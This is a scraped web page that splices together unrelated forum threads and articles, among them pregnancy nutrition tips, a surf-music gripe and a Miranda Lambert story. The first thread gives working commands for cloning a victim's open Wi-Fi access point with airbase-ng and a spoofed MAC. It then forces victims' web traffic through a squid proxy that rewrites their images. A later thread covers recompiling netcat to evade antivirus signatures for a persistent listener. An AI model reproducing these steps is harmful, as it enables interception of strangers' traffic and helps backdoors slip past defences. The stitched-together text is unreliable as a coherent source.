Set up apache up.Code:#!/usr/bin/perl $|=1; $count = 0; $pid = $$; while (<>) { chomp $_; if ($_ =~ /(.*\.jpg)/i) { $url = $1; system("/usr/bin/wget", "-q", "-O","/var/www/images/$pid-$count.jpg", "$url"); system("/usr/bin/mogrify", "-flip","/var/www/images/$pid-$count.jpg"); system("chmod", "666", "/var/www/images/$pid-$count.jpg"); print "http://10.0.0.1/images/$pid-$count.jpg\n"; } elsif ($_ =~ /(.*\.gif)/i) { $url = $1; system("/usr/bin/wget", "-q", "-O","/var/www/images/$pid-$count.gif", "$url"); system("/usr/bin/mogrify", "-flip","/var/www/images/$pid-$count.gif"); system("chmod", "666", "/var/www/images/$pid-$count.gif"); print "http://10.0.0.1/images/$pid-$count.gif\n"; } else { print "$_\n";; } $count++; }
Set up squid running on you localhost as transparent proxy.
Step 3.
Set up a AP-clone for your previous open WLAN-AP
Step 4.Code:airmon-ng start wlan0 ifconfig mon0 down macchanger -r XX:XX:XX:XX:XX:XX mon0 ifconfig mon0 up airbase-ng -W 0 -e ESSID -c 6 mon0 ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 /etc/init.d/dhcp3-server restart /etc/init.d/apache2 restart /etc/init.d/squid restart
Configure iptables to route traffic thru your proxy server what is running at port 3128
Note: you maybe wanna add your own rules to the iptables.Code:iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/conf/ppp0/forwarding echo 1 > /proc/sys/net/ipv4/conf/wlan0/forwarding echo 1 > /proc/sys/net/ipv4/conf/at0/forwarding iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p udp -s 10.0.0.0/24 --dport 53 -j ACCEPT iptables -t nat -A PREROUTING -p tcp -m tcp -s 10.0.0.0/24 --dport 80 -j DNAT --to-destination 10.0.0.1:3128
Good luck =)
Gredits to Pete.

Ok first post is now editited to just how to upside-down-ternet =)
Allso addon on to this, you can replace the flip with everything you want to. Why not just copy you favorite picture to replace, or maybe something else.
Kittenwar! May The Cutest Kitten Win!!). Good find.
Of course, if you really wanted to have some fun, go to Wal-Mart late at night and ask the greeter if they could help you find trashbags, roll of carpet, rope, quicklime, clorox and a shovel. See if they give you any strange looks. --Streaker69
I dont see use for airdrop-ng, if you are not gonna push your upsite-down-ternet by force.
If i just setup close from my previous open wlan with airbase-ng, change the mac-address to match, its up to leechers who connects to the network back again and their lost.
Sure there is many ways to use this, i prefer the open way, not forcing it.

Tools for Brain Development
Hi everyone!,
I am 15 weeks pregnant and I would like to know what are the natural ways on helping baby's brain development. I am aware of folic acid that it is the best source of developing baby's brain. I also heard that listening to classical music somehow helps the baby's developing brain inside the womb. Any other suggestions? Thanks!

Hello bhebs23~
Nutrition can be a great way to promote healthy brain development. Eating foods rich in Omega-3 fatty acids is a great way to do this. This would include foods like; eggs, fish (but make sure you choose ones that do not contain too much mercury), flaxseed, walnuts and more. Also eating a balanced diet rich in grains, fruits and vegetables an protein is great for you and your baby's overall growth and development.
I've also heard that classical music is good for brain development. I played it while pregnant, for my babies after they were born and continue to do so today. I don't know if it's scientifically proven to help but I figure it sure can't hurt
Congrats on your pregnancy and I wish you the best
18th March 2012 03:01 AM #3
I also listened to a look of music when I was pregnant with my little boy (my husband plays the piano, guitar and drums) and now my little boy is one he loves to dance to music and play the drums himself!
It's good to eat two portions of fish a week when you are pregnant, one of which should be an oily fish (like mackerel or sardines). This helps both with your health during pregnancy and the development of your baby.

Hi bhebs23,
Another thing to give importance to is iron. Iron is a mineral which is need for hemoglobin, a protein in the red blood cells that carries oxygen. It nourishes our muscles and organs. Without it, you and your baby would be at risk. Iron is very important for your baby's brain development. It aids in myelin development, and with inadequate amounts of iron, there would be inadequate myelination in the brain thereby leading to speech, language and gross motor skills problems.

that is normal. You cannot listen forever. Try that in linux, listen, connect from another pc, drop session... host nc exits.
So I'm attempting to recompile netcat from it's windows ported source to by pass antivirus signatures. The compile goes well and exits with no warnings however whenever I try to invoke the nc -L command, when I try to connect to the machine from another computer and then close the session on the other computer, I get a WIN32 Unhandled exception and it shuts down nc on the host computer and thus I can no longer connect back to it. Has anyone successfully recompiled the windows source with a working -L flag? It seems the nc.exe that ships with the source works fine with -L so I don't understand what the issue could be.
that is normal. You cannot listen forever. Try that in linux, listen, connect from another pc, drop session... host nc exits.
The -L flag is supposed to allow listening after someone connects and disconnects, and it works properly on the exe delivered in the folder already. Now when I try to compile it myself, it forcefully closes netcat on the host and gives an error when I connect and then disconnect, which it should not do, and I cannot figure out why.
Didnt get to spend too much time on this to really figure out what was going on. I compiled with Visual C++ 2008 Express on XP, trying a variety of different options in the makefile to see if that made any difference (nope). I was in the process of trying to compile with mingw when I got interrupted.
Which compiler did you use and did you modify the makefile in any way?
Edit: And yes, kazalku is right, -L allows you to listen harder (or re-listen after disconnect) , this is a Windows nc option and is not available on the standard Linux nc.
Capitalisation is important. It's the difference between "Helping your brother Jack off a horse" and "Helping your brother jack off a horse".
The Forum Rules, Forum FAQ and the BackTrack Wiki... learn them, love them, live them.
I have a modified version of crypcat HERE that compiles fine under windows and linux. The windows version requires Visual Studio 6. As for using VC 2008, I think that may be your problem since netcat is pretty old.
I think I have a version of VS 6.0 somewhere around, and I may try compiling with this if I can find it. If you do try this, can you report back on your results?
Also, how did you go about compiling in mingw? I was in the process of changing the compiler options in the make file to try and get this to work when I got interrupted by other things. Did you modify the make file or did you compile the objects separately? Any chance you could share what you did?
I tried sending files between another Windows version of cryptcat (without specifying a secret with -k) and nc and couldn't get them working together. In addition, when I did perform a large file send (of a memory dump) between two cryptcats, a significant amount of delay was introduced by the encryption.
If you're not sure I'll run a test later on and report back with the results...

encryption is required for my version. You can't turn it off. If you create a socket with it, it will require some version of cryptcat (any should work since I'm still using cryptcat's std blowfish lib). You need to specify a key no matter what version of cryptcat you use since by default, there is a key built in. With most versions of cryptcat that I used, the key was "metallica". I'm not sure what your versions key is. Just specify the -k and a key (-k should be available in all versions of cryptcat). Any encryption will introduce delay, but I never really noticed a large lag when I xfered files.
EDIT: I also want to point out that this version has a custom transport. If you are using this version for each side of the conversation, you can use the *69 custom shell to transfer files back and forth.


text: It seems that the majority of surf videos have been trashed with terrible music. I'm not sure how electric/pop/emo music finds it's way into surf videos. Fuel TV loves to let these homeless looking musicians play on stage. Hard to get excited over a video with musicians wearing TOMS, and rags. Anyone else feel this way? If so, what music do you prefer in a video?

Miranda Lambert addresses weight loss surgery rumors
Listen to Miranda Lambert on iHeartRadio
Miranda Lambert wants her fans to know she attained her current slim figure "the healthy and good old fashioned way."
In a new website post, the country star is denying rumors that she underwent weight loss surgery, calling such stories "ridiculous." She explains that she trimmed down by watching what she ate and working out, and used the assistance of a trainer.
Miranda says she can't say just how many pounds she lost, because "it's not about a scale, it's about how you feel and how your jeans fit." She adds that on her 30th birthday earlier this month, her "skinny jeans were finally baggy," so "mission accomplished."
Lambert is also hoping to discourage people who are "tempted to read the 'Trash Talk,'" and wants to "encourage everyone to be confident at any size."
